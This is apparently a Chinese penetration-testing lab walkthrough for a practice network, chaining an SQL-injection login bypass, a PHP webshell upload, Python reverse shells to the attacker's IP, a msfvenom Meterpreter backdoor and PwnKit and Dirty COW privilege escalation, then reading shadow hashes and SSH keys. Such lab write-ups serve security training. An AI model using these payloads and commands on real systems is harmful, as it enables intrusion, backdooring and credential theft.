Administrator
发布于 2026-03-05 / 21 阅读
0
0

web综合漏洞三

准备

需要一台防火墙、web服务器、DB服务器、OA服务器、WinServer、PC机和一台攻击机(如kali)

网络适配器设置

1.防火墙:需要4个适配器

  • 第一个适配器选择NAT模式

  • 适配器2的子网IP为:192.168.1.0

  • 适配器3的子网IP为:192.168.110.0

  • 适配器4的子网IP为:192.168.223.0

2.Web服务器适配器选择自定义3: 192.168.110.0

3.DB、OA、WinServer都选择适配器4: 192.168.223.0

4.PC选择适配器2: 192.168.1.0

5.攻击机(kali):NAT模式

第一阶段:信息收集

1.扫描

(a.)得到靶机ip后使用nmap工具对靶机进行常见端口及端口服务版本扫描

  • 代码

nmap -sV 172.16.197.177

  • 结果图

(b.)扫描后发现靶机开放80端口,且所使用的中间件Apache在该版本中无通用漏洞,故使用浏览器访问靶机ip进入公司首页在探索网站后发现存在后台登录页面

2.sql注入

(a.)根据提示及查看源码得知该页面方式为前端JS判断是否输入正确邮箱

(b.)尝试使用常用弱口令登录无果后尝试对该登录框使用SQL注入万能密码' or 1=1 --绕过登录,得到只能使用邮箱

(c.)打开 BurpSuite 抓包软件,在Decoder模块中将' or 1=1 --编码为URL编码

(d. )回到BurpSuite中的Proxy模块,确认拦截流量包的按钮是否处于开启状态

(e.)浏览器输入正确格式的邮箱以及任意密码,点击发送,观察BurpSuite是否拦截到请求数据包,如没有,请重新检查前几步是否设置正确

(f.)将拦截到的请求中email参数对应的值修改为SQL注入万能密码进行URL编码后的值后放行请求数据包,返回浏览器发现登录成功

3.文件绕过

(a.)在登录成功后对目标网站进行信息搜集后,发现管理员邮箱地址与用户管理页面存在头像上传点

这时可利用一句话木马,进行上传

  • 创建muma.php脚本文件

nano muma.php
  • 写入一句话木马,并保存

<?php eval($_POST['cmd']); ?>
  • 如图:

(b.)利用BurpSuite在上传过程中修改MIME类型image/png

(c.)在BurpSuite Proxy模块中的HTTP history中寻找上传成功后是否返回上传到的路径

(d.)在浏览器中访问找到的头像目录,发现存在admin.php文件,确认上传成功

(e.)在kali中使用一句话木马,进行连接上webshell,进行信息收集

  • 一句话木马查看id

curl -X POST "http://172.16.11.66/avatar/admin.php.png" -d "cmd=system('id');"
  • 一句话木马登录数据库并查询用户表

curl -X POST "http://172.16.11.66/avatar/admin.php" -d "cmd=system('mysql -h localhost -u root -pca368418d mainpage -e \"SELECT * FROM users;\"');"
  • 反弹shell

curl -d "cmd=system('python -c \"import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'172.16.11.71\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\'/bin/bash\')\"');" "http://172.16.11.66/avatar/admin.php"

第二阶段:提权(二选一)

方法一:利用MSF反弹shell提权

1.liunx提权信息收集

(a)使用linux-exploit-suggester脚本进行信息收集,知道已知的内核漏洞数据库,明白哪些存在可利用的权限漏洞

  • 源代码:

  • 在 Kali 上(新开一个终端),进入脚本所在目录并启动 HTTP 服务

cd /home/kali/Desktop

python3 -m http.server 8080
  • 在目标服务器的反弹 Shell 中,下载脚本

wget http://攻击机IP:8080/linux-exploit-suggester.sh
  • 步骤图:

(b)上传成功后,给脚本添加执行权限并运行:

chmod +x linux-exploit-suggester.sh

bash ./linux-exploit-suggester.sh
  • 执行结果图:

CVE 是什么?

CVE(Common Vulnerabilities and Exposures,通用漏洞和暴露)是一个公开的漏洞编号系统。每个被发现的安全漏洞都会被分配一个唯一的 CVE 编号,格式为 CVE-年份-编号

比如 CVE-2021-4034 表示这个漏洞是在 2021 年被编目的,编号为 4034。通过 CVE 编号,安全人员可以在全球范围内准确地引用和讨论同一个漏洞

2.利用MSF生成后门

Metasploit Framework(简称 MSF)是世界上最流行的渗透测试框架。它集成了大量的漏洞利用代码(Exploit)、后门载荷(Payload)、辅助模块等,是渗透测试工程师的核心工具之一。

MSF 的组件非常多,我们这里只用到其中两个:

  • msfvenom:用于生成各种格式的后门载荷(Payload)

  • msfconsole:MSF 的主控制台,用于启动监听、管理会话等

(a)在kali攻击机上利用msfvenom生成后门

  • 执行代码:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=5656 -f elf -o backdoor
  • 结果图:

  • msfvenom 启动 MSF 监听是 MSF 的载荷生成工具。你可以把它理解为一个”后门制造机”——你告诉它目标的操作系统、架构、回连地址和端口,它就会帮你生成一个可执行的后门程序

  • 参数解析:

3.启动 MSF 监听

(a)在 Kali 上打开一个新的终端标签,启动 MSF 控制台:

  • 执行代码:

msfconsole
  • 执行结果图:

(b)命令配置监听代码:

  1. 使用多重处理器(multi/handler)模块

msf > use exploit/multi/handler
  1. 设置载荷类型(必须和 msfvenom 生成时使用的一致)

msf exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
  1. 设置监听地址(这里直接填 Kali 的 IP)

msf exploit(multi/handler) > set LHOST 攻击机IP
  1. 设置监听端口(必须和 msfvenom 中的 LPORT 一致)

msf exploit(multi/handler) > set LPORT 5656
  1. 启动监听

msf exploit(multi/handler) > run
  • 执行结果图

4.backdoor投递

(a)使用webshell的临时反弹shell

  • 执行代码

python3 -m http.server 8080
  • 在目标服务器的反弹 Shell 中上传

wget http://攻击机IP:8080/backdoor
  • 添加权限

chmod +x backdoor
  • 执行backdoor(执行之前先在MSF启动监听)

nohup ./backdoor
  • 结果图:

5.通过 Meterpreter 提权

(a)准备提权代码

  • 在 Kali 攻击机上,你需要准备好 CVE-2021-4034 的利用代码压缩包。这个代码可以从 GitHub 获取:

https://github.com/berdav/CVE-2021-4034

(b)通过 Meterpreter 上传

  • 这里就体现出 Meterpreter 相比普通反弹 Shell 的优势了——它内置了文件上传功能,不需要再绕道 HTTP 服务器

在 Meterpreter 中直接执行 upload 命令:

meterpreter > upload /home/kali/Desktop/CVE-2021-4034-main.zip
  • 看到以下黄色高亮部分结果代表上传成功

[*] Uploading : /home/kali/Desktop/CVE-2021-4034-main.zip -> /tmp/CVE-2021-4034-main.zip

[*] Completed : /home/kali/Desktop/CVE-2021-4034-main.zip -> /tmp/CVE-2021-4034-main.zip

6.编译并执行提权程序

(a)进入系统shell

从 Meterpreter 切换到普通的系统 Shell,因为编译和执行操作在普通 Shell 中更方便:

  • 执行代码:

meterpreter > shell
  • 结果图:

(b)解压提权代码

  • 执行代码:

unzip CVE-2021-4034-main.zip
  • 结果图:

(c)解压后进入目录:

  • 执行代码

cd CVE-2021-4034-main
  • 结果图:

7.编译提权程序

什么是 make 和 Makefile?

当一个程序由多个源代码文件组成时,手动一个一个编译太麻烦了。Makefile 就是一个”编译说明书”,里面写好了编译的步骤和依赖关系。make 命令读取这个说明书,自动完成整个编译过程

你可以把 Makefile 想象成一份菜谱,make 就是按照菜谱自动做菜的机器人

  • 执行代码:

make
  • 结果图:

(c)编译成功后,用ls确认生成文件:

8.执行提权

  • 执行代码:

./cve-2021-4034
  • 输入id验证身份,查看是否提权成功:

9.获取 root 下的 flag

(a)用find命令搜索 flag 文件:

  • 执行代码

find / -name "*flag*" 2>/dev/null

(b)在大量输出中,我们能看到两个关键结果:

  • 结果

/var/www/html/flag.txt

/root/flag.txt

(c)读取 root 目录下的 flag:

  • 执行代码

cat /root/flag.txt
  • 结果图:

10.提权后的信息收集

拿到 root 权限后,之前受限的信息现在都可以收集了:

  1. 读取 shadow 文件(包含所有用户的密码哈希)

cat /etc/shadow
  1. 查看 SSH 配置和密钥

ls -la /root/.ssh/

cat /root/.ssh/authorized_keys
  1. 查看所有用户的 bash 历史记录

cat /root/.bash_history

cat /home/*/.bash_history
  1. 查看网络配置的完整信息

iptables -L -n
  1. 查看所有监听的端口

ss -tlnp

这些信息中可能包含其他系统的密码、SSH 密钥等关键凭证,对后续的横向移动非常有价值

方法二:利用python反弹shell提权

  1. 使用普通的反弹shell来完成对脏牛漏洞的提权,因此需要构建一个反弹shell的payload,经过考虑采用python所构建的漏洞,但是一般CentOS 6不一定装有python,所以需要先测试一下

  • 执行代码

curl -d "cmd=system('which python');" "http://172.16.197.177/avatar/admin.php"
  • 结果图

  1. 构建一个python的反弹shell的payload

  • 执行代码

# 输入指令
curl -d "cmd=system('python -c \"import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'172.16.197.180\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\'/bin/bash\')\"');" "http://172.16.197.177/avatar/admin.php"

#在向靶机发送 反弹shell Payload 之前,必须确保kali已先开启对 4444 端口 的监听状态
nc -lvpp 4444
  • 结果图

  1. 成功获得交互式shell,就可以进行脏牛漏洞源码的投递,在kali机器上选择查询漏洞列表

  • 执行代码

#输入指令
searchsploit dirty cow
  • 结果图

kali上新开一个会话

  1. EDB-ID: 40839 (Dirty COW – 修改 /etc/passwd),EDB-ID: 40616 (Dirty COW – 覆盖 SUID 文件),选用EDB-ID: 40839 漏洞源码,该漏洞利用程序通过直接篡改 /etc/passwd 文件来实现提权,可以直接获得root权限

  • 执行代码

#输入指令
#下载源码
searchsploit -m 40839
  • 结果图

  1. 此时下载出来的文件,我们可以选择查看它的源代码,收集是否有需要的内容

  • 执行代码

cat 40839.c
  • 结果图

  1. 把源码投递给靶机,就先在kali上利用python3内置的 http.server 模块特性临时构建一个轻量级web服务器,进行文件共享,让靶机可以通过这个轻量web服务器下载源码

#搭建web服务器(在kali上输入)
python3 -m http.server 80
 
#下载源码(在靶机上输入攻击机IP)
wget http:172.16.197.180/40839.c 
  • 结果图

  1. 在靶机上成功发现下载了40839源码,就进行下一步编译和执行编译后的脚本,但是执行前要添加执行权限

  • 执行代码:在靶机上输入

#编译
gcc -pthread 40839.c -o dirty -lcrypt
 
#添加执行权限
chmod +x dirty
 
#执行脚本
./dirty
  • 结果图

  1. 登录拥有root的用户,成功拿到root权限,就要进行配置回滚,防止出现系统错误,然后以root权限进行查找flag.txt

  • 执行代码

# 登录拥有root的用户
su firefart

#配置回滚
mv /tmp/passwd.bak /etc/passwd

#查询flag
 find / -name "flag*" 

#查看flag
cat flag.txt
  • 结果图

法律声明

警告:本实验手册中的技术仅供安全研究和授权测试使用。未经授权在他人系统上使用这些技术属于违法行为,可能导致严重的法律后果。

请确保:

  1. 仅在自有系统或获得明确书面授权的系统上进行测试

  2. 了解并遵守所在地区的法律法规

  3. 负责任地使用所学知识,遵守职业道德规范


评论